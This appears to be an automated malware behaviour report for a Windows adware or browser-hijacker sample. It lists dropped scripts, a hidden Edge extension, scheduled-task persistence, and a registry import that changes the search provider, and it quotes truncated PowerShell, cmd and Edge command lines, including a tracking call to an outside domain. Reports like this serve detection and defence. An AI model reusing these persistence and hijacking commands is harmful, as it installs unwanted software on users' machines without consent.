Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\networkdiagnosticservice
- <SYSTEM32>\tasks\systemcachemaintenance
- <SYSTEM32>\tasks\gamesettingsdlc
- <SYSTEM32>\tasks\gameupdaterdlc
Modifies file system
Creates the following files
- %TEMP%\nsdb874.tmp
- %TEMP%\<File name>_patch-run.exe
- %TEMP%\nsvbd18.tmp
- %TEMP%\thehospital-32.exe
- %TEMP%\temp_cleanup.ico
- %TEMP%\tidy.bat
- %LOCALAPPDATA%\features\x\icon.png
- %LOCALAPPDATA%\features\x\interface.html
- %LOCALAPPDATA%\features\x\interface.js
- %LOCALAPPDATA%\features\x\manifest.json
- %LOCALAPPDATA%\features\x\pdf_handler.js
- %LOCALAPPDATA%\features\x\script.js
- %LOCALAPPDATA%\features\x\security.js
- %LOCALAPPDATA%\features\x\style_01.css
- %LOCALAPPDATA%\features\x\web_accessible_resource.js
- %LOCALAPPDATA%\features\x\_locales\en\messages.json
- %LOCALAPPDATA%\updateswin\update.tmp
- %LOCALAPPDATA%\updateswin\updater.tmp
- %LOCALAPPDATA%\diagnosticsnet\cache.tmp
- %LOCALAPPDATA%\diagnosticsnet\configuration.tmp
- %LOCALAPPDATA%\diagnosticsnet\update.tmp
- %LOCALAPPDATA%\diagnosticsnet\updater.tmp
- %TEMP%\nsdd227.tmp\system.dll
- nul
- %LOCALAPPDATA%\features\nbudlesfyaysqzbpscbbewrwawuaqkx\security.js
- %LOCALAPPDATA%\diagnosticsnet\configuration.ps1
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69b63df4-f9c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69b63df7-f4c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
Deletes following files that it created itself
- %TEMP%\nsdd227.tmp\system.dll
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69b63df4-f9c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-69b63df7-f4c.pma
Moves the following files
- from %LOCALAPPDATA%\updateswin\update.tmp to %LOCALAPPDATA%\updateswin\update.ps1
- from %LOCALAPPDATA%\diagnosticsnet\updater.tmp to %LOCALAPPDATA%\diagnosticsnet\updater.vbs
- from %LOCALAPPDATA%\updateswin\updater.tmp to %LOCALAPPDATA%\updateswin\updater.ps1
- from %LOCALAPPDATA%\diagnosticsnet\configuration.tmp to %LOCALAPPDATA%\diagnosticsnet\configuration.ps1
- from %LOCALAPPDATA%\diagnosticsnet\cache.tmp to %LOCALAPPDATA%\diagnosticsnet\cache.ps1
- from %LOCALAPPDATA%\diagnosticsnet\update.tmp to %LOCALAPPDATA%\diagnosticsnet\update.vbs
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
Substitutes the following files
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
Network activity
UDP
- DNS ASK ge####locktag.com
- DNS ASK co####.edge.skype.com
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
Creates and executes the following
- '%TEMP%\<File name>_patch-run.exe' <Current directory>
- '%TEMP%\thehospital-32.exe'
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<File name>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "GRPZWW" "S13SPB2Z_2026-03" "<File name>_patch-run.exe" "Windows Registry Editor...
- '%WINDIR%\syswow64\cmd.exe' /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"%TEMP%\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"') | Set-Content -LiteralPath \"%...
- '%WINDIR%\syswow64\reg.exe' import %TEMP%\temp_cleanup.ico /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "foreach ($item in @(\"$env:LOCALAPPDATA\DiagnosticsNET\configuration.ps1\", \"$env:LOCALAPPDATA\DiagnosticsNET\update.vbs\", \"$en...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$paths = @{ \"$env:LOCALAPPDATA\Features\x\" = 'nbudlesfyaysqzbpscbbewrwawuaqkx'; \"$env:LOCALAPPDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env...
- '%WINDIR%\syswow64\cmd.exe' /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo AT BR CH DE DK ES FI FR HK IT MX NL NO SE SG TW GB UK US "
- '%WINDIR%\syswow64\findstr.exe' /I /C:" "
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"$env:LOCALAPPDATA\Features\nbudlesfyaysqzbpscbbewrwawuaqkx\security.js\") -replace '{BUCKET}', '"S13SPB2Z_2026-03"' -replace '{SUB}', '"GRPZWW"' -replace '...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $triggerAtStartup = New-ScheduledTaskTrigger -AtStartup; $triggerAtLogon = New-ScheduledTaskTrigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-ScheduledTaskTrigger -Repeti...
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --single-argument https://getadblocktag.com/v1/s/t/info?a=ins&sub=GRPZWWX&n=<File name>&bucket=S13SPB2Z_2026-03X&u=9nbudlesfyaysqzbpscbbewrwawuaqkx
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://getadblocktag.com/v1/s/t/info?a=ins&sub=GRPZWWX&n=<File name>&bucket=S13SPB2Z_2026-03X&u=9nbudlesfyaysqzbpscbbewrwawuaqkx
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1828,6849345439263011714,6805410742586485620,131072 --lang=en-US --service-sandbox-type=none --mojo-p...
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<File name>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "GRPZWW" "S13SPB2Z_2026-03" "<File name>_patch-run.exe" "Windows Registry Editor...' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --flag-switches-begin --flag-switches-end --do-not-de-elevate https://getadblocktag.com/v1/s/t/info?a=ins&sub=GRPZWWX&n=<File name>&bucket=S13SPB2Z_2026-03X&u=9nbudlesfyaysqzbpscbbewrwawuaqkx' (with hidden window)
